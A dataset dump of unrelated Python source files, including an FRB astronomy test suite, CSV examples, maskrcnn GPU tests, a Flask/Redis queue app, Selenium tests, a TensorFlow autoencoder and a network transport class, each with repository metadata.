test_frb_calc_dm_galaxy(self):\n dm_galaxy = self.frb_raj_decj.calc_dm_galaxy()\n dm_pymw16, t_sc_pymw16 = pygedm.dist_to_dm(\n self.frb_raj_decj.skycoords.galactic.l,\n self.frb_raj_decj.skycoords.galactic.b, 30*u.kpc)\n assert np.isclose(dm_galaxy.value, dm_pymw16.value)\n\n dm_galaxy = self.frb_raj_decj.calc_dm_galaxy(model='ne2001')\n dm_ne2001, t_sc_ne2001 = pygedm.dist_to_dm(\n self.frb_raj_decj.skycoords.galactic.l,\n self.frb_raj_decj.skycoords.galactic.b, 30*u.kpc, method='ne2001')\n assert np.isclose(dm_galaxy.value, dm_ne2001.value)\n\n dm_galaxy = self.frb_raj_decj.calc_dm_galaxy(model='ymw16')\n dm_pymw16, t_sc_pymw16 = pygedm.dist_to_dm(\n self.frb_raj_decj.skycoords.galactic.l,\n self.frb_raj_decj.skycoords.galactic.b, 30*u.kpc, method='ymw16')\n assert np.isclose(dm_galaxy.value, dm_pymw16.value)\n\n # Test calc_dm_galaxy raises a ValueError when no coordinates are given\n def test_frb_cal_dm_galaxy_no_coords(self):\n with pytest.raises(ValueError):\n self.frb.calc_dm_galaxy(model=\"ymw16\")\n\n def test_frb_calc_lum_dist_without_z(self):\n with pytest.raises(ValueError):\n self.frb.z = None\n self.frb.calc_luminosity_distance()\n\n # Test calc_energy calculates the energy of an FRB\n def test_frb_calc_energy_bandwidth(self):\n self.frb_energy.calc_redshift()\n energy = self.frb_energy.calc_energy(use_bandwidth=True)\n assert np.isclose(energy.value, 2.13256754066293e+40)\n\n def test_frb_calc_energy_frequency(self):\n self.frb_energy_freq.calc_redshift()\n energy = self.frb_energy_freq.calc_energy()\n assert np.isclose(energy.value, 2.13256754066293e+37)\n\n def test_frb_calc_energy_no_fluence(self):\n with pytest.raises(ValueError):\n self.frb.calc_redshift()\n self.frb.calc_energy(use_bandwidth=True)\n\n def test_frb_calc_energy_no_bandwidth(self):\n with pytest.raises(ValueError):\n self.frb_fluence.calc_redshift()\n self.frb_fluence.calc_energy(use_bandwidth=True)\n\n def test_frb_calc_energy_no_frequency(self):\n with pytest.raises(ValueError):\n self.frb_energy.calc_redshift()\n self.frb_energy.calc_energy()\n\n def test_frb_calc_luminosity_bandwidth(self):\n self.frb_energy.calc_redshift()\n lum = self.frb_energy.calc_luminosity(use_bandwidth=True)\n assert np.isclose(lum.value, 4.229828665e+43)\n\n def test_frb_calc_luminosity_frequency(self):\n self.frb_energy_freq.calc_redshift()\n lum = self.frb_energy_freq.calc_luminosity()\n assert np.isclose(lum.value, 4.2298286655e+40)\n\n def test_frb_calc_luminosity_no_frequency(self):\n with pytest.raises(ValueError):\n self.frb_energy.calc_redshift()\n self.frb_energy.calc_luminosity()\n\n def test_frb_calc_comoving_distance(self):\n self.frb.calc_redshift()\n dist = self.frb.calc_comoving_distance()\n assert np.isclose(dist.value, 3351.51321266)\n\n def test_frb_pass_wrong_units(self):\n with pytest.raises(ValueError):\n Frb(dm=1000, obs_bandwidth=400*u.m)\n\n # Test that the FRB __repr__ is printed\n def test_frb__repr__(self):\n print(self.frb)\n\n # Test all methods and properties get values and print\n def test_frb_attrs(self):\n for d in dir(self.frb):\n attr = getattr(self.frb, d)\n print(attr)\n\n\ndef test_create_cosmology():\n\n # Test FlatLambdaCDM\n FlatLambdaCDM_params = {'H0': 67, 'Om0': 0.3, 'flat': True}\n cosmologies.create_cosmology(FlatLambdaCDM_params)\n\n # Test FlatwCDM\n FlatwCDM_params = {'H0': 67, 'Om0': 0.3, 'flat': True, 'w0': 0.9}\n cosmologies.create_cosmology(FlatwCDM_params)\n\n # Test LambdaCDM\n LambdaCDM_params = {'H0': 67, 'Om0': 0.3, 'Ode0': 0.8, 'flat': False}\n cosmologies.create_cosmology(LambdaCDM_params)\n\n # Test wCDM\n wCDM_params = {'H0': 67, 'Om0': 0.3, 'Ode0': 0.8, 'flat': False, 'w0': 0.9}\n cosmologies.create_cosmology(wCDM_params)\n\n\nclass Test_fz_integrand:\n\n # Create default cosmology\n cosmo = cosmologies.create_cosmology()\n cosmo_w0 = cosmologies.create_cosmology({'w0': 1})\n\n # Test _fz_integrand correctly computes for z = 0\n def test_fz_integrand_z0(self):\n fz = methods._f_integrand(0, self.cosmo)\n assert np.isclose(fz, 1.0)\n\n # Test _fz_integrand correctly computes for z = 2\n def test_fz_integrand_z2(self):\n fz = methods._f_integrand(2, self.cosmo)\n assert np.isclose(fz, 1.011299)\n\n def test_fz_integrand_w1_z1(self):\n fz = methods._f_integrand(1, self.cosmo_w0)\n assert np.isclose(fz, 0.291111)\n\n\n# Test _check_keys_in_dict raises a KeyError when dict is missing keys\ndef test_check_keys_in_dict_missing():\n required_keys = [\"key1\", \"key2\"]\n dictionary = {\"key1\": 1, \"otherkey\": 2}\n with pytest.raises(KeyError):\n utils.check_keys_in_dict(dictionary, required_keys)\n\n\ndef test_check_keys_in_dict_all():\n required_keys = [\"key1\", \"key2\"]\n dictionary = {\"key1\": 1, \"key2\": 2}\n result = utils.check_keys_in_dict(dictionary, required_keys)\n assert result\n\n\nclass TestAddingMethods:\n\n def new_method(self, z, cosmo):\n return 1200 * z\n\n def test_add_method(self):\n methods.add_method(\"new_method\", self.new_method)\n assert \"new_method\" in methods.available_methods()\n\n def test_reset_methods(self):\n methods.reset_methods()\n assert \"new_method\" not in methods.available_methods()\n\n\nclass TestCatalogue:\n\n def test_create_analysis_catalogue(self):\n catalogue.create_analysis_catalogue(\"pytest_output_analysis_catalogue\")\n assert os.path.exists(\"pytest_output_analysis_catalogue.csv\")\n\n\n def test_create_method_catalogue(self):\n catalogue.create_methods_catalogue(\"pytest_output_methods_catalogue\")\n assert os.path.exists(\"pytest_output_methods_catalogue.csv\")\n\n\nclass TestCreateTables:\n\n def test_create_tables_normal(self):\n method_list = methods.builtin_method_functions()\n cosmology_list = cosmologies.builtin_cosmology_functions()\n\n # Create a lookup table for each method and cosmology\n for method in method_list:\n for key in cosmology_list:\n here = os.getcwd()\n\n cosmo = cosmologies.builtin_cosmology_functions()[key]\n filename = \"_\".join([\"pytest_output\", method, key])\n table.create(method=method, filename=filename,\n cosmo=cosmo, output_dir=here, zmin=0,\n zmax=20, num_samples=10000)\n\n # Compare new tables to existing tables for 4 dm values\n pre_calc_fn = \".\".join([\"_\".join([method, key]), \"npz\"])\n new_calc_fn = \"\".join([filename, \".npz\"])\n\n pre_calc = table.load(pre_calc_fn)\n new_calc = table.load(new_calc_fn, data_dir=here)\n\n test_dm_list = [0, 100, 1000, 2000]\n\n for dm in test_dm_list:\n new_z = table.get_z_from_table(dm, new_calc)\n pre_z = table.get_z_from_table(dm, pre_calc)\n assert new_z == pre_z\n\n def test_create_table_zhang_figm_free_elec(self):\n cosmo = cosmologies.builtin_cosmology_functions()[\"Planck18\"]\n filename = \"_\".join([\"pytest_output\", \"Zhang2018\",\n \"Planck18\", \"figm_free_elec\"])\n here = os.getcwd()\n\n table.create(method=\"Zhang2018\", filename=filename, cosmo=cosmo,\n output_dir=here, f_igm=0.5, free_elec=0.4)\n\n def test_create_table_zhang_figm_error(self):\n cosmo = cosmologies.builtin_cosmology_functions()[\"Planck18\"]\n\n with pytest.raises(ValueError):\n table.create(method=\"Zhang2018\", cosmo=cosmo, f_igm=-1)\n\n def test_create_table_zhang_free_elec_error(self):\n cosmo = cosmologies.builtin_cosmology_functions()[\"Planck18\"]\n filename = \"_\".join([\"pytest_output\", \"Zhang2018\",\n \"Planck18\", \"free_elec_error\"])\n\n with pytest.raises(ValueError):\n table.create(method=\"Zhang2018\", filename=filename, cosmo=cosmo,\n free_elec=-1)\n\n def test_create_table_invalid_method(self):\n with pytest.raises(ValueError):\n table.create(method=\"Webb1995\")\n\n\nclass TestPlots:\n # Test that the method plot creates an output file\n def test_method_plot(self):\n with pytest_mpl.plugin.switch_backend('Agg'):\n plot.method_comparison(filename=\"pytest_output_method\")\n cwd = os.getcwd()\n if not os.path.exists(os.path.join(cwd, \"pytest_output_method.png\")):\n raise OSError\n\n # Test that the cosmology plot creates and output file\n def test_cosmology_plot(self):\n with pytest_mpl.plugin.switch_backend('Agg'):\n plot.cosmology_comparison(filename=\"pytest_output_cosmo\")\n cwd = os.getcwd()\n if not os.path.exists(os.path.join(cwd, \"pytest_output_cosmo.png\")):\n raise OSError\n\n\ndef test_cleanup():\n # Remove the files at end of test\n test_files = glob(\"*pytest_output*\")\n for file in test_files:\n os.remove(file)\n\nif __name__ == \"__main__\":\n tc = TestFrbClass()\n tc.test_frb_calc_dm_galaxy()","sub_path":"fruitbat/tests/test_fruitbat.py","file_name":"test_fruitbat.py","file_ext":"py","file_size_in_byte":14494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"386651828","text":"#encoding:utf-8\r\n\r\nimport csv\r\n\r\n#主要用到两个方法,writerow以及writerows\r\n#注意在使用open打开文件后,默认在写入模式下会在每行末尾自动加入一个\\n,会导致写入数据之后,与相邻数据间产生一个空行, 如下:\r\n#name,age,height\r\n#\r\n#张三,20,175\r\n#\r\n#李四,21,180\r\n#\r\n#王五,25,195\r\n#需要在open时指定newline='', with open('persons.csv','w',encoding='utf-8',newline='') as f:\r\n\r\n#需要写入元组或者列表数据时\r\ndef csv_writer_tuple():\r\n headers = ['name','age','height']\r\n infos =[\r\n ['张三','20','175'],\r\n ['李四','21','180'],\r\n ['王五','25','195'],\r\n ]\r\n\r\n with open('persons_tuple.csv','w',encoding='utf-8',newline='') as f:\r\n writer = csv.writer(f)\r\n writer.writerow(headers)\r\n #依次写入每行数据\r\n for i in infos:\r\n writer.writerow(i)\r\n\r\n#此方法以后可以用于写入爬虫爬取下来的字典数据\r\ndef csv_writer_dict():\r\n headers = ['name','age','height']\r\n values = [\r\n {'name': '张三', 'age': '21', 'height': '175'},\r\n {'name': '李四', 'age': '21', 'height': '180'},\r\n {'name': '王五', 'age': '25', 'height': '195'}\r\n ]\r\n with open('persons_dict.csv','w',encoding='utf-8',newline='') as f:\r\n writer = csv.DictWriter(f,headers)\r\n #此处需要单独调用writeheader方法写入header\r\n writer.writeheader()\r\n writer.writerows(values)\r\n\r\nif __name__=='__main__':\r\n csv_writer_tuple()\r\n\r\n\r\n","sub_path":"Day004/D04_Cloud/csv_cases_writer.py","file_name":"csv_cases_writer.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"47120427","text":"import torch\nfrom maskrcnn_benchmark.layers.roi_align import _ROIAlign\nfrom maskrcnn_benchmark.layers import nms as _box_nms\n\n\n\ndef get_random_boxes(num_boxes):\n H,W = 480, 640\n x1 = torch.rand(num_boxes) * 0.7*W\n y1 = torch.rand(num_boxes) * 0.7*H\n w = torch.rand(num_boxes) * 0.5*W\n h = torch.rand(num_boxes) * 0.5*H\n x2,y2 = x1+w, y1+h\n\n return torch.stack([x1,y1,x2,y2], dim=1)\n\n\ndef test_nms():\n boxes = get_random_boxes(1000)\n scores = torch.randn(1000)\n nms_thresh = .7 \n\n keep_cpu = _box_nms(boxes, scores, nms_thresh) \n keep_gpu = _box_nms(boxes.cuda(), scores.cuda(), nms_thresh) \n\n assert torch.allclose(keep_cpu, keep_gpu.cpu())\n print(\"test_nms: OK\")\n\n return;\n\nroi_align = _ROIAlign.apply\n\ndef test_roi_align():\n input = torch.randn(1,256,200,272) * 8.\n rois = torch.cat([torch.zeros(1000,1), get_random_boxes(1000)], dim=1)\n output_size = (7,7)\n spatial_scale = .25\n sampling_ratio = 2\n\n aligned_cpu = roi_align(input, rois, output_size, spatial_scale, sampling_ratio)\n aligned_gpu = roi_align(input.cuda(), rois.cuda(), output_size, spatial_scale, sampling_ratio)\n\n # assert torch.allclose(aligned_cpu, aligned_gpu.cpu(), atol=0.0005)\n if not torch.allclose(aligned_cpu, aligned_gpu.cpu()):\n max_diff = torch.abs(aligned_cpu - aligned_gpu.cpu()).max()\n print('test_roi_align: error=%.6f' % max_diff) \n else:\n print(\"test_roi_align: OK\")\n\n return\n\n\nif __name__ == '__main__':\n test_nms()\n test_roi_align()","sub_path":"tests/custom/test_gpu_compile.py","file_name":"test_gpu_compile.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"497375545","text":"class Solution:\n def minCostClimbingStairs(self, cost):\n \"\"\"\n :type cost: List[int]\n :rtype: int\n \"\"\"\n if len(cost) < 3:\n return min(cost)\n from2Ago = cost[0]\n from1Ago = cost[1]\n for i in range(2, len(cost)):\n minCost = min(from2Ago+cost[i], from1Ago+cost[i])\n from2Ago = from1Ago\n from1Ago = minCost\n return min(from1Ago, from2Ago)\n\ntest1 = [10, 15, 20]\ntest2 = [1, 100, 1, 1, 1, 100, 1, 1, 100, 1]\nprint(Solution().minCostClimbingStairs(test2))","sub_path":"minCostClimbingStairs.py","file_name":"minCostClimbingStairs.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"383269513","text":"#\n# Imports which are standard for all test cases.\n#\nimport sys\nsys.path.insert(1, \"./\")\nfrom gaiatest import GaiaTestCase\nfrom OWDTestToolkit import *\n\n#\n# Imports particular to this test case.\n#\nfrom tests._mock_data.contacts import MockContacts\n\nclass test_main(GaiaTestCase):\n\n def setUp(self):\n #\n # Set up child objects...\n #\n GaiaTestCase.setUp(self)\n self.UTILS = UTILS(self)\n self.contacts = Contacts(self)\n self.messages = Messages(self)\n\n #\n # Get details of our test contacts.\n #\n self.Contact_1 = MockContacts().Contact_multiplePhones\n\n #\n # We're not testing adding a contact, so just stick one \n # into the database.\n #\n self.data_layer.insert_contact(self.Contact_1)\n \n \n def tearDown(self):\n self.UTILS.reportResults()\n \n def test_run(self):\n #\n # Launch contacts app.\n #\n self.contacts.launch()\n \n #\n # Select our contact.\n #\n #\n # View the details of our contact.\n #\n self.contacts.viewContact(self.Contact_1['name'])\n\n #\n # Tap the 2nd sms button (index=1) in the view details screen to go to the sms page.\n #\n smsBTN = self.UTILS.getElement( (\"id\", DOM.Contacts.sms_button_specific_id % 1), \n \"2nd send SMS button\")\n smsBTN.tap()\n\n #\n # Switch to the 'Messages' app frame (or marionette will still be watching the\n # 'Contacts' app!).\n #\n self.marionette.switch_to_frame()\n# self.UTILS.waitForElements((\"xpath\", \"//iframe[@src='\" + DOM.Messages.frame_locator[1] + \"']\"), \n# \"Messaging app frame\", False, 20)\n self.UTILS.switchToFrame(*DOM.Messages.frame_locator)\n time.sleep(3)\n\n #\n # TEST: this automatically opens the 'send SMS' screen, so\n # check the correct name is in the header of this sms.\n #\n self.UTILS.headerCheck(\"1 recipient\")\n \n\n #\n # Check this is the right number.\n #\n self.messages.checkIsInToField(self.Contact_1[\"name\"])\n self.messages.checkNumberIsInToField(self.Contact_1[\"tel\"][1][\"value\"])\n","sub_path":"tests/SMS/test_26403.py","file_name":"test_26403.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"399458889","text":"# compose_flask/app.py\nimport redis\nfrom rq import Queue\nfrom flask import Flask, request, jsonify\nfrom task import task_in_background\n\napp = Flask(__name__)\n\nr = redis.Redis(host='redis', port=6379)\nque = Queue(connection=r)\n\n@app.route('/')\ndef index():\n return 'Index'\n\n@app.route(\"/task\") \ndef add_task(): \n if request.args.get(\"t\"): \n job = que.enqueue(task_in_background, request.args.get(\"t\")) \n q_len = len(que) \n \n return f\"\"\"The task {job.id} is added into the task queue at {job.enqueued_at}. \n {q_len} task in the queue\"\"\"\n\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", debug=True)\n","sub_path":"redis-flask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"2660393","text":"\"\"\"\nThis is a solution to Test 1:\n Assert that the dynamic text (the lorem ipsum text block) on the page\n contains a word at least 10 characters in length.\n Stretch goal:\n Print the longest word on the page.\nPage under test: https://the-internet.herokuapp.com/dynamic_content\nUsed Selenium driver: chromedriver (path_to_chromedriver variable needs\nto be changed for your location of the driver)\n\"\"\"\n\n#***Setting up Selenium driver and opens the page to test\ndef setup(path_to_chromedriver, timeout, page_under_test):\n driver = webdriver.Chrome(path_to_chromedriver)\n driver.implicitly_wait(timeout)\n driver.get(page_under_test)\n\n return driver\n\n\n#***Testing if the word of length 'length_req' is present on the page.\n#***Finds the longest word or words if find_longest = True.\n#***Reports results if 'length_req' is found and asserts otherwise.\ndef test(driver, row_count_expected, xpath_start, xpath_end,\n length_req, find_longest):\n\n # find how many rows of text there are on the page\n row_count_actual = len(driver.find_elements_by_xpath(\"/\" + xpath_end))\n\n # Warn if the actual number of text rows is different from expected\n if row_count_actual != row_count_expected:\n logging.warning(\"Expected and actual row counts are different.\" + \\\n \" Actual row count is %d. Check xpath.\" %row_count_actual)\n\n # Initialize variables used for asserting the minimum required word length\n # and searching for the longest word(s)\n length_req_satisfied = False # will be set to True when a word with length\n # of at least required_length is found\n len_max = 0 # will keep the length of the longest word found\n if find_longest:\n longest_words = [] # will keep a list of longest words\n\n #Process all text rows on the page\n for i in range (1, row_count_actual+1):\n # build xpath to i's text row\n text_xpath = xpath_start + \"[\" + str(i) + \"]\" + xpath_end\n #catch exception if text_xpath doesn't exist\n try:\n row_text = driver.find_element_by_xpath(text_xpath)\n except NoSuchElementException as e:\n print(\"NoSuchElementException when using xpath.\\n%s\" %e)\n driver.quit()\n sys.exit(1)\n\n # check that text row is actually displayed\n if row_text.is_displayed():\n logging.info(\"Text in row %d is displayed.\" %i)\n else:\n logging.warning(\"Text in row %d is NOT displayed.\" %i)\n\n logging.info(\"The text in row %d is:\\n%s\" %(i, row_text.text))\n\n # Split text row into words and start processing each word's length\n words = row_text.text.split()\n for word in words:\n word_len = len(word)\n # if word's length is below the required length, but we need\n # to find the longest word(s), search for the longest word\n if word_len < length_req and find_longest:\n if word_len > len_max:\n len_max = word_len\n longest_words = [ word ]\n elif word_len == len_max:\n longest_words.append( word )\n # if word's length is above the required length, keep searching\n # for the longest word(s) if requested. If searching\n # for the longest word(s) is NOT requested, stop processing\n # words in the row\n if word_len >= length_req:\n # remebering where the required word length was found\n # for the first time\n if (not length_req_satisfied):\n length_req_satisfied = True\n i_req_met = i\n word_req_met = word\n if find_longest:\n if word_len > len_max:\n len_max = word_len\n longest_words = [ word ]\n elif word_len == len_max:\n longest_words.append( word )\n else:\n len_max = word_len\n break\n # if length requirement is met, continue to the next row,\n # if searching for the longest word(s) is requested. Otherwise,\n # stop processing the rows.\n if length_req_satisfied:\n if find_longest:\n continue\n else:\n break\n\n print ('\\nRESULTS\\n====================')\n # report results of searching for the longest word(s)\n if find_longest:\n #Print the longest word(s) on the page and their length.\n print (\"The longest (%d characters) word(s) on the page:\" %len_max)\n print (longest_words)\n\n #report results of finding a word of required length\n if length_req_satisfied:\n print_text = \"Minimum length req of %d char was met first time \" + \\\n \"at the word '%s' in text row %d.\"\n print(print_text %(length_req, word_req_met, i_req_met))\n else:\n # Assert that the dynamic text on the page contains a word of at least\n # required_length in length.\n assert length_req_satisfied, \"Minimum length of %d char is NOT found.\" \\\n %length_req\n\n return 1\n\n\n# ***Cleaning up by closing Selenium driver.\ndef cleanup(driver):\n # close the Selenium driver\n driver.quit()\n\n return 1\n\nif __name__ == '__main__':\n import sys, logging\n\n logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.INFO)\n\n # initialize selenium driver\n from selenium import webdriver\n from selenium.common.exceptions import NoSuchElementException\n\n # test parameters\n path_to_chromedriver = 'C:/Users/gcherupally/PycharmProjects/chromedriver.exe'\n timeout = 10\n page_under_test = 'https://the-internet.herokuapp.com/dynamic_content'\n row_count_expected = 3\n xpath_start = \"//div[@class='row']\"\n xpath_end = \"/div[@class='large-10 columns']\"\n length_req = 10\n find_longest = True\n\n # perform the setup\n driver = setup(path_to_chromedriver, timeout, page_under_test)\n\n try:\n # run the test\n test(driver, row_count_expected, xpath_start, xpath_end, length_req, \\\n find_longest)\n except AssertionError as e:\n print(e)\n finally:\n # perform cleanup\n cleanup(driver)","sub_path":"test_assert_minimum_length.py","file_name":"test_assert_minimum_length.py","file_ext":"py","file_size_in_byte":6194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"176632937","text":"# *****************************\n#\n# File name: inheritance\n# created by Dawood Khan on 03/02/2017\n#\n# *****************************\n\n\nclass Contact:\n \"\"\"Basic contact class with a simple 'constructor and a class level variable\"\"\"\n # all_contacts is defined in the class but no in a method so it is a class level variable that is static across all\n # objects of the class\n all_contacts = [] # class level variable\n\n def __init__(self, name, email):\n self.name = name\n self.email = email\n Contact.all_contacts.append(self) # note syntax for accessing class level variables\n\n\nclass Supplier(Contact):\n\n def order(self, order):\n print(\"If this were a real system we would send '{}' order to {}\".format(order, self.name))\n\n\n# example of inheriting from an in built object. note, list is an object and [] == list()\nclass ContactList(list):\n def search(self, name):\n \"\"\"Return all contacts that contain the search value in their name\"\"\"\n matching_contacts = []\n for contact in self:\n if name in contact.name:\n matching_contacts.append(contact)\n return matching_contacts\n\n\nclass Contact2:\n \"\"\"Basic contact class with a simple 'constructor and a class level variable\"\"\"\n # all_contacts is defined in the class but no in a method so it is a class level variable that is static across all\n # objects of the class\n all_contacts = ContactList() # class level variable\n\n def __init__(self, name, email):\n self.name = name\n self.email = email\n Contact2.all_contacts.append(self) # note syntax for accessing class level variables\n\n\nclass LongNameDict(dict):\n\n def longest_key(self):\n longest = None\n for key in self:\n if not longest or len(key) > len(longest):\n longest = key\n return longest\n\n\nlongkeys = LongNameDict()\nlongkeys['hello'] = 1\nlongkeys['longest yet'] = 2\nlongkeys['longer'] = 3\n\nprint(longkeys.longest_key())\n\n\nclass AudioFile:\n def __init__(self, filename):\n if not filename.endswith(self.ext): # parent class can access 'ext' from subclasses - this is polymorphism\n raise Exception(\"invalid file format\")\n\n self.filename = filename\n\n\nclass MP3FilePlayer(AudioFile):\n ext = \"mp3\"\n\n def play(self):\n print(\"Playing {} as mp3\".format(self.filename))\n\n\nmp3player = MP3FilePlayer(\"test.mp3\")\nmp3player.play()\n\n\nif __name__ == \"__main__\":\n print('inheritance in python')\n\n\n\n\n\n\n\n\n\n\n","sub_path":"ch03/inheritance.py","file_name":"inheritance.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"156166679","text":"from zope.dottedname.resolve import resolve\n\n\ndef includeme(config):\n \"\"\" Extend module globals with engine-specific objects from\n local nefertari_sqla or nefertari_mongodb modules.\n \"\"\"\n from .documents import get_document_mixin\n\n def _valid_global(g):\n ignored = ('log', 'includeme')\n return (not g.startswith('__') and g not in ignored)\n\n engine_path = config.registry.settings['nefertari.engine']\n engine_module = resolve('nefertari_guards.' + engine_path)\n engine_globals = {k: v for k, v in engine_module.__dict__.items()\n if _valid_global(k)}\n engine_globals['DocumentACLMixin'] = get_document_mixin(\n engine_module)\n globals().update(engine_globals)\n","sub_path":"nefertari_guards/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"377259571","text":"from Net.BaseModels.SequenceEncoder import SequenceEncoder\nfrom Net.BaseModels.SequenceDecoder import SequenceDecoder\nimport tensorflow as tf\nimport os\n\n# configuration changes for RTX enabled devices\nphysical_devices = tf.config.list_physical_devices('GPU')\ntf.config.experimental.set_memory_growth(physical_devices[0], enable=True)\n\n\nclass AutoEncoderMSE:\n \"\"\"\n Sequence reconstruction using MSE loss\n \"\"\"\n\n def __init__(self, enc_units, batch_size, enc_layers, enc_dropout_rate,\n dec_units, output_size, dec_layers, dec_dropout_rate,\n learning_rate):\n \"\"\"\n Initializes the AutoEncoder class with MSE loss\n :param enc_units: Number of hidden units in encoder\n :param batch_size: Batch size for training\n :param enc_layers: Number of layers in the Encoder\n :param enc_dropout_rate: Encoder Dropout rate\n :param dec_units: Number of hidden units in Decoder\n :param output_size: Number of output key points\n :param dec_layers: Number of layers in the Decoder\n :param dec_dropout_rate: Decoder Dropout rate\n :param learning_rate: learning rate\n \"\"\"\n\n # create encoder\n self.encoder = SequenceEncoder(\n enc_units,\n batch_size,\n enc_layers,\n enc_dropout_rate\n )\n\n # create decoder\n self.decoder = SequenceDecoder(output_size, dec_units, batch_size, dec_layers, dec_dropout_rate, True)\n\n # create optimizer\n self.optimizer = tf.keras.optimizers.Adam(\n lr=learning_rate\n )\n\n # create checkpoint saver\n self.checkpoint = tf.train.Checkpoint(\n optimizer=self.optimizer,\n encoder=self.encoder,\n decoder=self.decoder\n )\n\n def save_model(self, checkpoint_dir):\n \"\"\"\n Saves the model checkpoint\n :param checkpoint_dir: Directory to save the checkpoint in\n :return:\n \"\"\"\n ckpt_prefix = os.path.join(checkpoint_dir, \"ckpt\")\n self.checkpoint.save(ckpt_prefix)\n\n def load_model(self, checkpoint_dir):\n \"\"\"\n Loads the model from the checkpoint\n :param checkpoint_dir: Directory in which the checkpoint is stored\n :return:\n \"\"\"\n self.checkpoint.restore(\n tf.train.latest_checkpoint(checkpoint_dir)\n )\n\n @tf.function\n def train_step(self, input_seq, target_seq):\n \"\"\"\n Defines a backward pass through the network\n :param input_seq:\n :param target_seq:\n :return:\n \"\"\"\n\n # initialize loss\n loss = 0\n time_steps = target_seq.shape[1]\n\n # initialize encoder hidden state\n enc_hidden = self.encoder.initialize_hidden_state(self.encoder.batch_size)\n\n with tf.GradientTape() as tape:\n # pass through encoder\n enc_output, enc_hidden = self.encoder(input_seq, enc_hidden, True)\n\n # input the hidden state\n dec_hidden = enc_hidden\n dec_input = tf.zeros(target_seq[:, 0].shape)\n\n # start teacher forcing the network\n for t in range(time_steps):\n # pass dec_input and target sequence to decoder\n prediction, dec_hidden, _ = self.decoder(dec_input, dec_hidden, enc_output, True)\n\n # calculate the loss for every time step\n losses = tf.keras.losses.MSE(target_seq[:, t], prediction)\n loss += tf.reduce_mean(losses)\n\n # purge the tensors from memory\n del dec_input, prediction\n\n # set the next target value as input to decoder\n dec_input = target_seq[:, t]\n\n # calculate average batch loss\n batch_loss = (loss / time_steps)\n\n # get trainable variables\n variables = self.encoder.trainable_variables + self.decoder.trainable_variables\n\n # get the gradients\n gradients = tape.gradient(loss, variables)\n\n # purge tape from memory\n del tape\n\n # apply gradients to variables\n self.optimizer.apply_gradients(zip(gradients, variables))\n\n loss_dict = {\n 'AE':\n {\n 'Reconstruction Loss': batch_loss\n }\n }\n\n return loss_dict\n\n def run_inference(self, input_seq, time_steps, output_shape):\n \"\"\"\n Returns the predictions given input_seq\n :param output_shape: shape of the decoder output\n :param time_steps: Number of time steps to run the inference operation for\n :param input_seq: encoder input sequence\n :return: predictions tensor of shape (batch_size, seqLength, input_size)\n \"\"\"\n\n # initialize encoder hidden state\n enc_hidden = self.encoder.initialize_hidden_state(self.encoder.batch_size)\n\n # encoder output\n enc_output, enc_hidden = self.encoder(input_seq, enc_hidden, False)\n\n # set the decoder hidden state and input\n dec_input = tf.zeros(output_shape)\n dec_hidden = enc_hidden\n\n # list of predictions\n predictions = []\n\n for t in range(time_steps):\n # get the predictions\n prediction, dec_hidden, _ = self.decoder(dec_input, dec_hidden, enc_output, False)\n predictions.append(tf.expand_dims(prediction, axis=1))\n\n # update inputs to decoder\n del dec_input\n dec_input = prediction\n\n return tf.concat(predictions, axis=1)","sub_path":"Net/ModelZoo/AutoEncoderMSE.py","file_name":"AutoEncoderMSE.py","file_ext":"py","file_size_in_byte":5539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"581326627","text":"'''\nCreated on 2017年10月5日\n\n@author: wangweizhou\n'''\nfrom playground.network.common import StackingTransport\nfrom HandShakePacket import PEEPPacket\nimport random\n\nclass TranTransport(StackingTransport):\n def write(self, data):\n self.Size = 20\n #PacketSize = 50\n Slices = [data[i:(i+self.Size)] for i in range(0, len(data), self.Size)]\n #Seq = self.CurrentSeq\n \n for SingleSlice in Slices:\n \n Pkt = PEEPPacket()\n Pkt.Type = 5\n Pkt.SequenceNumber = 0\n #Seq = Seq + 1\n Pkt.Acknowledgement = 0\n Pkt.Data = SingleSlice\n Pkt.Checksum = 0\n Pkt.updateChecksum()\n #self.PktsBuffer.put(Pkt)\n self.lowerTransport().write(Pkt.__serialize__())\n print(\"Client: Transport packet sent! \")\n '''\n Require data packet type definition here!\n '''\n \n def close(self):\n print(\"Client: Rip request sent!\")\n closePacket = PEEPPacket()\n closePacket.Type = 3\n closePacket.SequenceNumber = random.randint(0, 1000)\n closePacket.Acknowledgement = 0\n closePacket.Checksum = 0\n closePacket.updateChecksum()\n self.lowerTransport().write(closePacket.__serialize__())\n\n","sub_path":"myTransport.py","file_name":"myTransport.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"402008025","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build\\bdist.win-amd64\\egg\\tome\\wrapUtil.py\n# Compiled at: 2013-04-26 20:59:46\n\"\"\"\nCopyright 2013 Brian Mearns\n\nThis file is part of Tome.\n\nTome is free software: you can redistribute it and/or modify\nit under the terms of the GNU Affero General Public License as published by\nthe Free Software Foundation, 